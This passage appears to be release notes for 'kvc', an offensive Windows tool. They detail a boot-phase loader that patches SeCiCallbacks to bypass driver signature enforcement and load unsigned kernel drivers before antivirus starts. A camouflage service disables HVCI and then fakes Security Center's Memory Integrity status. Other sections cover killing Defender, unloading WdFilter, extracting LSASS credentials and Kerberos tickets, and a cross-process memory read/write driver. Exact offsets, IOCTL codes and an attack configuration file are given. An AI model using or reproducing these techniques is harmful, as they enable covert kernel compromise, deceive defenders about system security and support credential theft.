2. Writes to `HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity`:
   - `Enabled = 1` — HVCI reports as active to WSC
   - `WasEnabledBy = 2` — MDM-managed policy source (matches what a fully-managed system carries)
   - `ChangedInBootCycle = BootTime` — current boot's timestamp; written only if it differs from the stored value

**`DoShutdownAction`** — fires at `PRESHUTDOWN` (`0x0F`), `SHUTDOWN` (`5`), or `STOP` (`1`) — whichever the SCM delivers first:
- Writes `Enabled = 0` — arms the hive for `kvc_smss` on the next boot

**The full cycle:**
```
kvc install <driver>
  └─ kvc_smss.exe  (SMSS native phase — no AV, no services.exe)
       ├─ SYSTEM hive: Enabled = 0        ← suppress HVCI for this boot
       ├─ NtLoadDriver(target.sys)          ← driver loaded, unsigned, PP/PPL irrelevant
       └─ HvciShutdownSvc → AUTO_START    ← register camouflage service

Next boot (regular Windows startup):
  ├─ Driver: still active (loaded in previous boot's DSE bypass)
  └─ HvciShutdownSvc (AUTO_START, runs before user login):
       └─ DoStartupAction:
            Enabled = 1, WasEnabledBy = 2, ChangedInBootCycle = BootTime

windowsdefender://devicesecurity:
  ✅ Core isolation         — on
  ✅ Memory Integrity       — on
  ✅ Security processor     — normal
  ✅ Secure boot            — on

At shutdown:
  └─ DoShutdownAction: Enabled = 0   ← ready for next driver-load cycle
```

Windows Security Center reads from these registry values, not from the hypervisor enforcement state directly. `HvciShutdownSvc` writes the values WSC trusts, from a registered SYSTEM-level service, producing a Device Security page with no warnings — regardless of the actual HVCI state in the hypervisor. The native-phase sibling creates the service entry in the SMSS phase; the regular user-mode sibling picks it up on the next clean boot.

---

#### kvc kill — kvckiller replaces kvcstrm as fallback

`KillMultipleTargets` primary path unchanged (kvc.sys + `KillProcessInternal`). The kvcstrm fallback for survivors is replaced by a kvckiller session (same `wsftprm`/`\\.\Warsaw_PM`/IOCTL pattern). Digitally signed driver — no HVCI or DSE constraint on the fallback path.

Before killing, `QueryFullProcessImageNameW` snapshots the full exe path of each target PID into `HKCU\Software\kvc\KilledPaths\<exename>`. This path is used by `kvc restore`.

---

#### kvc restore — process relaunch fallback

`kvc restore <name>` previously failed with `No saved state found for signer` when called after `kvc kill` (no PPL state had been saved). Now, when the session registry lookup finds no PPL state, a two-stage relaunch attempt runs automatically:

1. **SCM service scan** — enumerate all Win32 services, find one whose `ImagePath` contains the exe name, call `StartServiceW`.
2. **Cached path launch** — fall back to the path stored in `HKCU\Software\kvc\KilledPaths` at kill time, launch via `ShellExecuteExW("runas", path)`.

Example: `kvc kill msmpeng` stores `C:\ProgramData\Microsoft\Windows Defender\Platform\...\MsMpEng.exe`, then `kvc restore msmpeng` finds and starts `WinDefend` via SCM.

---

#### IFEO hive file path fix

`CreateIFEOSnapshot` built the hive file path as `ctx.tempPath + L"Ifeo.hiv"` where `GetSystemTempPath()` returns `C:\Windows\Temp` (no trailing backslash). Result: the hive file landed at `C:\Windows\TempIfeo.hiv` instead of `C:\Windows\Temp\Ifeo.hiv`.

Fixed: `ctx.tempPath + L"\\Ifeo.hiv"`.

Side effect: CLFS transaction log files (`{GUID}.TM.blf`, `{GUID}.TMContainer*.regtrans-ms`) were accumulating in `C:\Windows\` with the `TempIfeo.hiv` prefix. `HiveContext::Cleanup` previously only scanned `tempPath` for `.regtrans-ms` by extension. Cleanup now scans the **parent directory of the hive file** for any file whose name starts with `<hivefilename>{` — catches both `.TM.blf` and `.TMContainer*.regtrans-ms` regardless of GUID suffix.

---

#### Non-compliant host process handling (MSI Afterburner / RTCore64)

`EnsureDriverAvailable` calls `CheckAndTerminateNonCompliantHost()` before `ForceRemoveService` when a conflicting `RTCore64` service is detected. The function reads the host executable path from `HKLM\SOFTWARE\WOW6432Node\MSI\Afterburner\InstallPath`, locates the running process by filename (case-insensitive), and calls `TerminateProcess` directly. The driver unloads automatically on host exit. The host is not restarted by KVC — it restarts itself. No `WM_CLOSE`, no SCM interaction, no restore.

</details>

---

**[20.04.2026]**

<details>
<summary><strong>🔩 kvc_smss: boot-time offset scanner promoted to primary; PDB demoted to opt-in; DriverDevice hardened</strong> (click to expand)</summary>

#### DriverDevice — obfuscation hardened

`drivers.ini` now unconditionally writes `DriverDevice=\Device\kvc` instead of the resolved device name. `kvc_smss` resolves the `kvc` alias to the real obfuscated device name at runtime via `MmGetPoolDiagnosticString()`, so the INI never contains the actual driver identity in plaintext. Previously `kvc.exe` wrote the real name directly, which was readable to anyone who examined `C:\Windows\drivers.ini`.

---

#### Offset resolution — scanner promoted to primary

Prior to this release, `kvc install <driver>` unconditionally resolved `SeCiCallbacks` and `SafeFunction` offsets via the PDB symbol infrastructure (same path as `dse off --safe`) and wrote them into `drivers.ini`. The boot loader used these pre-resolved values, with the heuristic scanner (`FindKernelOffsetsLocally`) acting only as a fallback.

This release inverts the priority:

| Mode | Trigger | Behaviour |
|---|---|---|
| **Scanner (default)** | `kvc install <driver>` | No offsets written to INI. `kvc_smss` runs `FindKernelOffsetsLocally` at every boot. Always resolves against the ntoskrnl.exe that will actually load — immune to Windows Update offset drift. |
| **PDB (opt-in)** | `kvc install <driver> --pdb` | PDB lookup attempted at install time. On success: offsets + `OffsetSource=PDB` written to INI; scanner skipped at boot. On failure: INI written without offsets; scanner runs at boot. |

**Why the inversion?** The `FindKernelOffsetsLocally` heuristic was substantially improved: it now runs three independent passes — Fast LEA/ZeroMemory pattern, exhaustive Structural scan, and Legacy anchor — and accepts the highest-scoring candidate. Empirical testing on Windows 10 19041 through Windows 11 26H2 shows reliable identification in under 50 ms cold / under 5 ms warm. This is fast enough to absorb at every boot with no user-visible delay.

The PDB path has a structural fragility: if Windows Update ships a new `ntoskrnl.exe` before the user re-runs `kvc install`, the stale offsets in INI remain valid-looking (non-zero) and will suppress the scanner, causing the bypass to silently mis-patch the wrong address. The scanner, operating on the live binary at boot time, has no such window.

PDB remains available for environments where the symbol server is accessible at install time and the operator explicitly prefers deterministic pre-resolved offsets (e.g. air-gapped targets where a single boot attempt is critical).

---

#### UTF-16 LE encoding — stabilised

`drivers.ini` is always written and re-written as UTF-16 LE with BOM. If the file was previously edited and saved by an external text editor as UTF-8 (with or without BOM), `kvc_smss` now transparently re-normalises it to UTF-16 LE on the first write that touches the file (e.g. when appending a `[DSE_STATE]` recovery section). Prior to this release, an UTF-8-saved `drivers.ini` caused the state persistence path (`SaveStateSection` / `RemoveStateSection`) to skip re-encoding, leaving a mixed-encoding file that could be misread on the following boot.

</details>

**[12.04.2026]**

<details>
<summary><strong>🔬 KvcForensic — LSASS minidump credential extraction (kvc analyze)</strong> (click to expand)</summary>

`kvcforensic.dat` is a new optional module distributed as a separate release asset. It embeds `KvcForensic.exe` (the analysis engine) and `KvcForensic.json` (LSA structure offset templates for all supported Windows builds), XOR-encrypted with the standard KVC key.

**Commands:**

- `kvc analyze <dump>` — extract credentials from any Windows LSASS minidump
  - `--format txt|json|both` — output format (default: both)
  - `--full` — include verbose fields (NTLM hash, session metadata, etc.)
  - `--tickets <dir>` — export Kerberos tickets to directory
- `kvc analyze lsass` — auto-locate LSASS dump in CWD then Downloads folder
- `kvc analyze --gui` — launch KvcForensic GUI for interactive inspection

**Deployment and auto-download:**

- `kvc setup` deploys `kvcforensic.dat` to System32 if present in CWD (optional, non-fatal if absent)
- If `kvcforensic.dat` is not present when `kvc analyze` is called, KVC prompts to download it automatically from the GitHub release
- Same on-demand mechanism for `kvc.dat`: if `kvc bp` or `kvc export secrets` is called and `kvc_pass.exe` is not deployed, KVC prompts to download and set up `kvc.dat` automatically

**Integration:**

- After `kvc dump lsass`, KVC prompts whether to analyze the dump immediately if `kvcforensic.dat` is available
- At runtime: `kvcforensic.dat` is decrypted to `%TEMP%\KvcForensic\`, executed with inherited console, cleaned up after exit
- Built with KvcXor option 7 (new menu entry)

</details>

**[10.04.2026]**

<details>
<summary><strong>🔍 g_CiOptions: fully offline semantic locator — Windows 10 and Windows 11 26H1 (no PDB)</strong> (click to expand)</summary>

#### Background

`g_CiOptions` is a DWORD in `ci.dll` that controls Driver Signature Enforcement and HVCI state. KVC must locate it at runtime to read or patch DSE flags. Prior to this release, the locator used a fixed offset from the `CiPolicy` PE section and, when that failed (Windows 10), fell back to a PDB symbol download from the Microsoft Symbol Server.

This release replaces both paths with a deterministic offline analysis. No network access is required. No PDB files are downloaded. No offsets are hardcoded.

---

#### Windows 11 26H1 — Offset Change in CiPolicy Section

In Windows 11 build 26100 (26H1), Microsoft relocated `g_CiOptions` within the `CiPolicy` PE section. The field moved from offset `+0x4` to `+0x8` relative to the section start. The previous implementation read the hardcoded `CiPolicy+0x4` unconditionally, which returned `0x00000000` on 26H1 — a silent failure that allowed a DSE patch operation to proceed against a null-derived address, causing a BSOD.

The shift was confirmed by IDA analysis of `C:\Windows\System32\ci.dll` on build 26100:

```
CiPolicy section start: 0x180053000
g_CiOptions:            0x180053008   (offset +0x8)
```

The build-number fallback (`GetCiOptionsBuildFallbackOffset`) now returns `+0x8` for builds >= 26100 and `+0x4` for earlier builds. The fallback is only reached if the semantic probe is inconclusive.

---

#### CiOptionsFinder — Semantic Offline Probe

`CiOptionsFinder` is a new class extracted from `DSEBypass`. It operates entirely on the on-disk `ci.dll` image (read from `System32` at runtime) and live kernel memory reads via the driver primitive. No PDB, no symbol server, no internet.

**Win11 path (CiPolicy section present):**

1. Walk the live kernel PE headers via driver reads to locate the `CiPolicy` section base and size.
2. Load `ci.dll` from disk. Parse PE sections.
3. Scan all executable sections (`.text`, `PAGE`, `INIT`) for RIP-relative instructions that reference an address within the first 64 bytes of `CiPolicy`.
4. Recognised encodings:

| Encoding | Instruction | Score |
|---|---|---|
| `8B /5 disp32` | `mov r32, [rip+disp32]` | 12 |
| `REX 8B /5 disp32` | `mov r64/r32, [rip+disp32]` | 12 |
| `F7 05 disp32 imm32` | `test [rip+disp32], imm32` | 18 + mask bonus |
| `0F BA 25 disp32 imm8` | `bt [rip+disp32], imm8` | 16 |
| `0F BA 2D disp32 imm8` | `bts [rip+disp32], imm8` | 16 |
| `81 3D disp32 imm32` | `cmp [rip+disp32], imm32` | 10 + mask bonus |

5. Score candidates by reference count, instruction kind diversity, and proximity to section start.
6. Accept the winner if it leads runner-up by >= 8 points and has at least one flags-like use.
7. Fall back to the build-number offset only if the probe is inconclusive.

**Win10 path (no CiPolicy section):**

On Windows 10, `ci.dll` does not contain a `CiPolicy` section. `g_CiOptions` resides in `.data`. The locator uses a different scoring strategy:

1. Load `ci.dll` from disk. Parse PE sections. Locate `.data`.
2. Scan code sections for RIP-relative references landing in `.data` at 4-byte-aligned addresses.
3. Two additional encodings are required for Win10:

| Encoding | Instruction | Notes |
|---|---|---|
| `85 /r disp32` | `test [rip+disp32], r32` | Mask in register — no immediate |
| `REX 85 /r disp32` | `test [rip+disp32], r32` | REX-prefixed form |

   The compiler in this build emits register-loaded masks (`mov ebx, 4000h` / `test [rip+x], ebx`) rather than direct-memory immediates. The decoder handles both forms.

4. Win10 `ci.dll` prefixes many RIP-relative accesses with `0x2E` (CS segment override). The scanner skips this prefix transparently before decoding.

5. The `PAGE` section on Win10 kernel drivers is marked `IMAGE_SCN_CNT_CODE` but not `IMAGE_SCN_MEM_EXECUTE` in the PE headers (execute permission is granted by the memory manager at load time). The section filter uses `CNT_CODE OR MEM_EXECUTE` to avoid skipping `PAGE` entirely.

6. After a `mov reg, [rip+target]`, the scanner looks ahead up to 32 bytes for a `test reg, imm` instruction. The full 32-bit immediate is extracted — not truncated to 8 bits — so high-bit family masks (`0x4000`, `0x8000`, `0x200000`, `0x800000`) are detected from the register path as well.

7. Each `.data` address accumulates:

| Field | Meaning |
|---|---|
| `TotalHits` | Total instruction references |
| `DirectHighMasks` | High-bit family tests seen (bit 0: 0x4000/0x8000, bit 1: 0x200000/0x800000) |
| `LowBitEvidence` | Low-bit family tests from mov+lookahead (bits 0-4) |
| `BitOpsCount` | Count of `bt`/`bts` operations |
| `DistinctFuncApx` | Approximate distinct-function count (reference delta > 0x200 bytes) |

8. **Winner selection uses qualification, not raw score.** A candidate enters the final round only if it satisfies:

```
(DirectHighMasks != 0  OR  BitOpsCount >= 2)  AND  LowBitEvidence != 0
```

   This deliberately excludes high-volume non-flag variables (spinlocks, counters, pointers) that accumulate large raw scores from frequent MOV references but lack the bit-manipulation signature of a mutable DWORD flags field. The score margin is computed only among qualified candidates — an unqualified candidate with a higher raw score does not suppress the winner.

9. A light runtime sanity read checks the live kernel value of the winner. A non-zero high byte (suggesting a pointer or non-flag datum) is logged as a warning but does not block the result — the structural qualification criteria are the authoritative gate.

---

#### Why No Hardcoded Patterns

Typical PoC implementations for g_CiOptions location rely on one of three approaches: a fixed RVA extracted from a specific build, a known byte pattern (`signature scan`) around the variable, or a PDB symbol lookup. All three require either build-specific data or internet connectivity.

This implementation requires neither. The scoring algorithm was derived from IDA analysis of multiple `ci.dll` builds across Windows 10 19041 and Windows 11 26H1. The recognised instruction patterns, scoring weights, and qualification criteria are a direct encoding of the semantic properties of `g_CiOptions` — specifically: that it is a DWORD flag field that is read frequently, tested against both low enforcement bits and high policy bits, and has bits set via `bts` during CI initialisation. Any build of `ci.dll` that compiles from the same source will produce the same observable code patterns around the same variable, regardless of address.

Verified output on Windows 10 19041.6811 (latest updates):

```
[+] g_CiOptions via Win10 .data probe: 0xFFFFF80230C391B0
    RVA=0x391B0  score=1445  hits=85  highMasks=0x3  lowBits=0x1F  bitOps=7
[*] g_CiOptions value: 0x0001C006
```

`highMasks=0x3` confirms both high-bit families were found. `lowBits=0x1F` confirms all five low-bit DSE enforcement flags were observed. `bitOps=7` matches the `bts` call count visible in IDA for this build (IDA reports 82 cross-references; the offline scanner counts 85 due to inclusion of the `INIT` section).

---

#### HVCI Detection Fix

The `IsHVCIEnabled` check previously required all three HVCI bits simultaneously (`value == 0x0001C000`). Some configurations set only a subset. The check now uses `(value & 0x0001C000) != 0` — any bit in the HVCI family is sufficient. A registry fallback (`SecurityServicesRunning` bit 2 and the `HypervisorEnforcedCodeIntegrity\Running` key) handles configurations where HVCI is active but the bit state in `g_CiOptions` is not yet reflected at query time.

---

#### kvcstrm — New IOCTL

One additional IOCTL primitive was added to the `kvcstrm.sys` (OmniDriver) interface in this release. See the kvcstrm section for the updated primitive table.

</details>

---

**[08.04.2026]**

<details>
<summary><strong>🚀 kvc_smss — SMSS Boot-Phase Driver Loader (C, NATIVE subsystem)</strong> (click to expand)</summary>

KVC now ships a fourth embedded binary — **`kvc_smss.exe`** — a native application (`SUBSYSTEM:NATIVE`) written entirely in C, executed by the Windows Session Manager (SMSS.EXE) during the early boot phase, before `services.exe`, before `winlogon.exe`, and critically, before any antivirus user-mode components are initialized.

#### Why This Phase Matters

The SMSS phase is one of the last remaining execution contexts that runs with full kernel access and no user-mode security infrastructure in place. There is no Defender, no ETW-based detection, no filter drivers for user-mode callbacks — just the Session Manager, the kernel, and the hardware. Any kernel driver loaded at this stage is indistinguishable from a legitimately boot-loaded driver from the perspective of subsequent user-mode security software.

#### Architecture

`kvc_smss.exe` is a pure C binary with no CRT dependency, linked as `SUBSYSTEM:NATIVE`. It communicates directly with the kernel via NT native APIs (`NtDeviceIoControlFile`, `NtReadFile`, `NtQuerySystemInformation`). It uses `kvc.sys` found in the DriverStore (`avc.inf_amd64_*\kvc.sys`) as its DSE bypass primitive — a signed, legitimate driver already present on the system from a prior `kvc setup` run. No new vulnerable driver is dropped to disk.

The full DSE bypass cycle per driver load:

```
STEP 1  Load kvc.sys (from DriverStore — already signed)
STEP 2  Resolve ntoskrnl.exe base via NtQuerySystemInformation
STEP 3  Patch SeCiCallbacks+0x20 (CiValidateImageHeader) → ZwFlushInstructionCache
STEP 4  Load unsigned target driver (NtLoadDriver)
STEP 5  Restore original SeCiCallbacks callback
STEP 6  Unload kvc.sys
```

Kernel symbol offsets (`Offset_SeCiCallbacks`, `Offset_SafeFunction`) are resolved by `kvc_smss` at every boot using the built-in heuristic scanner (`FindKernelOffsetsLocally`) — no PDB download, no network access, no pre-baked values. The scanner operates on the `ntoskrnl.exe` image that will actually load, making it immune to offset drift after Windows Update. Optionally, `kvc install <driver> --pdb` resolves offsets at install time via the `SymbolEngine` PDB infrastructure and writes `OffsetSource=PDB` to `drivers.ini`; the boot scanner is then skipped. Re-run install after any Windows Update when using `--pdb` mode.

#### INI-Driven Operation

All operations are declared in `C:\Windows\drivers.ini` (UTF-16 LE with BOM). The file is generated automatically by `kvc install <driver>` with a populated `[Config]` section and a `[Driver0]` entry. The full format supports four action types:

| Action | Description |
|---|---|
| `LOAD` | Load unsigned kernel driver with full DSE bypass cycle |
| `UNLOAD` | Stop and remove a running driver service |
| `RENAME` | Rename or move a file/directory at native NT path level |
| `DELETE` | Delete a file or directory tree (optionally recursive) |

**Example `C:\Windows\drivers.ini` (full reference):**

```ini
; ============================================================================
; BootBypass Configuration File — UTF-16 LE with BOM
; Operations execute sequentially in declaration order.
; ============================================================================

[Config]
Execute=YES                       ; NO = disable all operations without removing entries
RestoreHVCI=NO                    ; YES = re-enable Memory Integrity flag after patching
Verbose=NO                        ; YES = screen output during boot; NO = silent (verify via sc query)

DriverDevice=\Device\kvc          ; resolved to real device name at runtime by kvc_smss
IoControlCode_Read=2147491912     ; 0x80002048 — physical memory read IOCTL
IoControlCode_Write=2147491916    ; 0x8000204C — physical memory write IOCTL

; Offset fields omitted by default — kvc_smss scanner resolves them at boot.
; Present only when kvc install <driver> --pdb was used:
; Offset_SeCiCallbacks=...        ; ntoskrnl RVA of SeCiCallbacks
; Offset_Callback=32              ; slot offset within SeCiCallbacks (CiValidateImageHeader)
; Offset_SafeFunction=...         ; ntoskrnl RVA of ZwFlushInstructionCache
; OffsetSource=PDB                ; suppresses boot-time scanner when set

; --- LOAD: unsigned driver with AutoPatch DSE bypass ---
[Driver0]
Action=LOAD
AutoPatch=YES
ServiceName=omnidriver
DisplayName=omnidriver
ImagePath=\SystemRoot\System32\drivers\omnidriver.sys
Type=KERNEL
StartType=DEMAND
CheckIfLoaded=YES                 ; Skip silently if already loaded

; --- UNLOAD: stop a running driver ---
[Driver1]
Action=UNLOAD
ServiceName=WdFilter

; --- RENAME: move/rename file at NT path level (pre-filesystem-filter) ---
[Rename1]
Action=RENAME
SourcePath=\??\C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25110.5-0\MsMpEng_.exe
TargetPath=\??\C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25110.5-0\MsMpEng.exe
ReplaceIfExists=NO

; --- DELETE: remove file or directory tree ---
[Delete1]
Action=DELETE
DeletePath=\??\C:\Windows\Temp
RecursiveDelete=YES
```

> **Note:** Section names (`[Driver0]`, `[Rename1]`, `[Delete1]`) are arbitrary labels — the parser ignores the name and reads only `Action=`. Sections are processed in file order.

<details>
<summary><strong>🔧 RENAME & DELETE — Native NT Path File Operations</strong> (click to expand)</summary>

Both `RENAME` and `DELETE` actions operate at the **NT native file system level**, using raw `NtOpenFile` / `NtSetInformationFile` / `NtQueryDirectoryFile` syscalls — no Win32 `MoveFile` or `DeleteFile` involvement. This means they work **before any filesystem filter drivers are loaded**, operating directly against the I/O manager.

#### RENAME Implementation

The rename operation uses `NtSetInformationFile` with **FileRenameInformation (class 10)**:

1. Opens the target path with `FILE_READ_DATA | SYNCHRONIZE` to check if it already exists
2. If the target exists and the source also exists, the operation is **skipped silently** (`STATUS_SUCCESS` returned, no error)
3. Opens the source with `DELETE | SYNCHRONIZE` access and `FILE_OPEN_FOR_BACKUP_INTENT` — this flag grants access even to files that would otherwise be locked
4. Constructs a `FILE_RENAME_INFORMATION` structure with `ReplaceIfExists` (YES/NO) and the target path as a variable-length Unicode string
5. Calls `NtSetInformationFile(hFile, &iosb, pRename, requiredSize - sizeof(WCHAR), 10)` — the `- sizeof(WCHAR)` accounts for the fact that `FILE_RENAME_INFORMATION` already declares one `WCHAR` in the flexible array member `FileName[]`

**Key detail:** The rename is atomic at the I/O manager level. No temporary copy is created. The source file is simply relinked to the target path in the MFT/FAT. If the source doesn't exist, the operation fails with `STATUS_OBJECT_NAME_NOT_FOUND`.

#### DELETE Implementation

The delete operation uses `NtSetInformationFile` with **FileDispositionInformation (class 13)**:

1. Opens the target with `DELETE | FILE_READ_ATTRIBUTES | SYNCHRONIZE` and `FILE_OPEN_FOR_BACKUP_INTENT`
2. Queries `FileStandardInformation` to determine if the target is a **file or directory**
3. **If it's a file:** sets `FILE_DISPOSITION_INFORMATION.DeleteFile = TRUE` via `NtSetInformationFile(..., 13)` — the file is marked for deletion on close (actual removal happens when the last handle is closed)
4. **If it's a directory and `RecursiveDelete=NO`:** opens with `FILE_DIRECTORY_FILE` flag, sets disposition to delete — only succeeds if the directory is empty
5. **If it's a directory and `RecursiveDelete=YES`:** calls `DeleteDirectoryRecursive()` which:
   - Opens the directory with `NtQueryDirectoryFile` and iterates all entries (`FileDirectoryInformation`)
   - Skips `.` and `..` entries
   - Recursively descends into subdirectories (depth-first)
   - For each file/subdirectory: opens with `DELETE | SYNCHRONIZE`, sets disposition to delete, closes handle
   - After all children are processed, opens the parent directory itself and marks it for deletion

**Key detail:** The recursive walk uses a **4 KB directory buffer** (`FILE_DIRECTORY_INFORMATION`). If a directory contains more entries than fit in 4 KB, `NtQueryDirectoryFile` is called repeatedly with `firstQuery = FALSE` to continue enumeration. Each nested call to `DeleteDirectoryRecursive` opens its own directory handle — the maximum recursion depth is limited by the **512-byte stack buffer** in `ExecuteRename` and the `MAX_PATH_LEN` (512 WCHARs) in path construction, both validated with `validate_string_space` bounds checks before any string copy.

#### Why Native NT Paths?

Both actions require paths in the NT native format: `\??\C:\Windows\Temp` (for DOS drive letters) or `\Device\HarddiskVolume1\Windows\Temp` (for device paths). This is the format the NT I/O manager understands internally — it bypasses the Win32 subsystem entirely. At the SMSS boot phase, there is no `kernel32.dll`, no `MoveFileEx`, no `DeleteFile` — only NT syscalls exist.

</details>

#### HVCI Handling

If Memory Integrity (`g_CiOptions & 0x0001C000`) is active, `kvc_smss.exe` patches the SYSTEM registry hive directly (offline binary edit) to disable HVCI, schedules a reboot via the `RebootGuardian` service, and completes driver loading on the subsequent boot with HVCI suppressed.

After the driver-load boot, **`HvciShutdownSvc`** — an `AUTO_START` x64 assembly service (~5 KB, `HvciShutdownSvc.asm`, pure MASM) registered by `kvc_smss.exe` in the SMSS phase — restores `HypervisorEnforcedCodeIntegrity\Enabled = 1`, `WasEnabledBy = 2`, and `ChangedInBootCycle = BootTime` so Windows Security Center reflects Memory Integrity as active. `windowsdefender://devicesecurity` shows no warnings. At shutdown, `HvciShutdownSvc` writes `Enabled = 0` so the cycle can repeat on the next driver-load boot.

<details>
<summary><strong>🔧 Offline SYSTEM Hive Chunked NK/VK Parser</strong> (click to expand)</summary>

##### The Problem

In the SMSS boot phase, there is no user-mode registry API. The HVCI registry key (`\Registry\Machine\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity\Enabled`) resides in the live SYSTEM hive, which is memory-mapped and locked by the kernel. Standard file open operations fail. Yet KVC must patch this key offline — before the full security stack initialises — to suppress Memory Integrity for the current boot.

##### The Solution: Raw Hive File Walking

`kvc_smss.exe` opens `\SystemRoot\System32\config\SYSTEM` with `FILE_OPEN_FOR_BACKUP_INTENT` — a backup-mode access flag that grants read/write access to the hive file even while it is actively mounted and used by the kernel. The file is then scanned using a **chunked NK/VK cell walker** — a raw binary parser that understands the internal structure of Windows registry hive files.

**Why chunked?** The SYSTEM hive can exceed 50 MB. Allocating a single buffer that large in a native application (no heap manager, no CRT) is impractical. Instead, the hive is scanned in **1 MB chunks with a 256-byte overlap** between consecutive reads. The overlap ensures that a pattern match spanning a chunk boundary is never missed.

##### NK Cell Discovery

The parser searches each chunk for the 31-byte ASCII pattern `"HypervisorEnforcedCodeIntegrity"`. When found, it walks backward `0x4C` bytes and verifies the presence of the `nk` cell signature (`0x6E`, `0x6B`). This is the **Key Node (NK) cell** — the fundamental building block of registry keys in a hive file. The NK cell contains:

- `ValuesCount` — number of values under this key (at `-0x28` from the name)
- `ValuesListOffset` — file offset to the array of VK cell offsets (at `-0x24` from the name)

The backward walk and signature check eliminates false positives where the same string might appear in value data rather than a key name.

##### VK Cell Indirection: Why This Works on Both Windows 10 and Windows 11

Through reverse engineering of the SYSTEM hive binary layout, a critical structural difference was observed between Windows 10 and Windows 11:

- **Windows 11** — The hive file is defragmented during maintenance operations. VK cells (registry values) are stored **adjacent to their parent NK cell** in the file. The `Enabled` value sits physically close to the `HypervisorEnforcedCodeIntegrity` key name in the binary — a naive byte scanner would find both.
- **Windows 10** — Values are **scattered** throughout the hive file. The `Enabled` VK cell can reside at a completely unrelated file offset, potentially megabytes away from the NK cell that references it. A contiguous scanner would find the key name but miss the value entirely.

The KVC parser solves this through **structural indirection**. It never assumes proximity between the NK cell and its values. Instead, it reads the `ValuesListOffset` from the NK cell header and follows that offset to the VK cell array — regardless of where in the file those VK cells physically reside. This is the same mechanism the Windows registry engine uses internally: **NK cells reference values by offset, not by position**.

Each VK cell is then validated:

| Check | Purpose |
|---|---|
| `vk` signature (`0x76`, `0x6B`) | Confirms this is a valid VK cell |
| Name = `"Enabled"` | Case-insensitive match; handles both ANSI (flag `0x0001`) and Unicode name storage |
| Type = `REG_DWORD` | Value must be a 32-bit integer |
| Data = inline (`0x80000004`) | Small values are stored inline in the VK cell itself, not as a separate data block |
| Current value = 0 or 1 | HVCI Enabled is a boolean DWORD; unexpected values abort the patch |

##### Atomic Patch + Verify

Once the correct VK cell is identified, the new DWORD value (0 or 1) is written directly at `vkFileOffset + 12` — the inline data payload offset within the VK cell structure. The write is immediately followed by a **read-back verification**: the same 4 bytes are re-read and compared against the expected value. Only after successful verification is the hive flushed to disk via `NtFlushBuffersFile`.

##### Cross-Version Compatibility

This approach works identically on **Windows 10 and Windows 11** because:

- The registry hive file format (NK/VK cell structure) has been stable since Windows NT 4.0
- The `HypervisorEnforcedCodeIntegrity` key exists on both platforms (introduced in Windows 10 1709)
- `FILE_OPEN_FOR_BACKUP_INTENT` is a fundamental I/O manager flag, not subject to version-specific changes
- No CRT, no user-mode dependencies — pure NT syscall path
- **Structural indirection via `ValuesListOffset`** — the parser does not assume value proximity to the key, making it immune to hive defragmentation differences between Windows versions

This is not a heuristic or a hack — it is a deterministic, structurally-aware parser that operates on the documented internal format of Windows registry hive files.

</details>

#### Install

```
kvc install omnidriver           # scanner resolves offsets at every boot (default)
kvc install omnidriver --pdb     # pre-resolve offsets from PDB; re-run after Windows Update
```

`kvc install <driver>` (default):
1. Extracts `kvc_smss.exe` from the embedded icon resource and writes it to `C:\Windows\System32\`
2. Writes `C:\Windows\drivers.ini` — `[Config]` with `DriverDevice=\Device\kvc`, no offset fields; `[Driver0]` entry
3. Registers `kvc_smss` in `BootExecute` (`autocheck autochk *` → `kvc_smss`)
4. At each boot, `kvc_smss` runs the heuristic scanner on `ntoskrnl.exe` to resolve offsets fresh

`kvc install omnidriver --pdb` additionally:
- Downloads ntoskrnl PDB (once, cached in `.\symbols\`) and resolves `Offset_SeCiCallbacks` + `Offset_SafeFunction`
- Writes offsets + `OffsetSource=PDB` to `drivers.ini`; boot scanner is skipped
- If PDB lookup fails: proceeds without offsets, scanner runs at boot

#### Cleanup

```
kvc uninstall smss          # Remove BootExecute entry + drivers.ini + kvc_smss.exe from System32
kvc uninstall               # Full cleanup: NT service + SMSS loader
```

#### ⚠️ Drivers That BSOD in This Phase

Not every kernel driver can be loaded during the SMSS phase. Drivers that depend on subsystems not yet initialized will crash the system. Specifically, any driver that in `DriverEntry`:

- Calls `WSKStartup` / `WSKSocket` — the network stack (WSK) is not initialized
- References `\Driver\Kbdclass` via `ObReferenceObjectByName` — the keyboard class driver is not yet loaded
- Touches PnP device stacks — PnP manager enumeration has not completed
- Uses COM, RPC, LPC — `csrss.exe` / `lsass.exe` are not running

**Example:** `kvckbd.sys` — a keyboard filter driver that attaches to `\Driver\Kbdclass` and initializes a UDP network client (WSK) in `DriverEntry` — will BSOD unconditionally if loaded in this phase. Both `ObReferenceObjectByName(\Driver\Kbdclass)` and `WSKStartup()` fail fatally because their subsystems are not yet online. **Only drivers that are self-contained and do not depend on other drivers or system services are suitable for SMSS-phase loading.**

**Planned: multi-phase loading.** A future revision of `drivers.ini` will introduce a `LoadPhase=` key per entry, selecting the earliest phase at which the driver's dependencies are satisfied:

| `LoadPhase` | Trigger point | Available subsystems |
|---|---|---|
| `SMSS` | Current default — Session Manager BootExecute | Kernel, HAL, boot drivers only |
| `WINLOGON` | Winlogon initialisation — before LogonUI | PnP, network stack (WSK), Kbdclass, RPC |
| `SESSION` | Interactive session creation — DWM/Themes startup | Full Win32, COM, all session services |

`kvc_smss.exe` will honour the `LoadPhase` field and defer entries that cannot safely execute in the SMSS context to a registered Winlogon notification DLL or an early AUTO_START service, retaining the same INI-driven declarative model across all phases.

</details>

---

**[06.04.2026]**

<details>
<summary><strong>⚔️ kvcstrm (OmniDriver) — Original kernel primitive driver, first surface exposed</strong> (click to expand)</summary>

KVC now ships with a second kernel driver — **`kvcstrm.sys`** (internally: OmniDriver) — embedded alongside `kvc.sys` in the steganographic icon resource. This is not a repurposed CVE payload or a reverse-engineered third-party binary. It is a purpose-built KMDF driver written from scratch, exposing a structured IOCTL interface over a sequential `METHOD_BUFFERED` queue with access restricted by SDDL to SYSTEM and local Administrators.

**Full primitive set (OmniDriver interface):**

| IOCTL | Capability |
|---|---|
| `IOCTL_READWRITE_DRIVER_READ/WRITE` | Cross-process virtual memory R/W via `MmCopyVirtualMemory` with `KernelMode` previous-mode — user-mode address range checks suppressed on the kernel side |
| `IOCTL_READWRITE_DRIVER_BULK` | Batch of up to 64 R/W operations in a single round-trip, each with an individual status field |
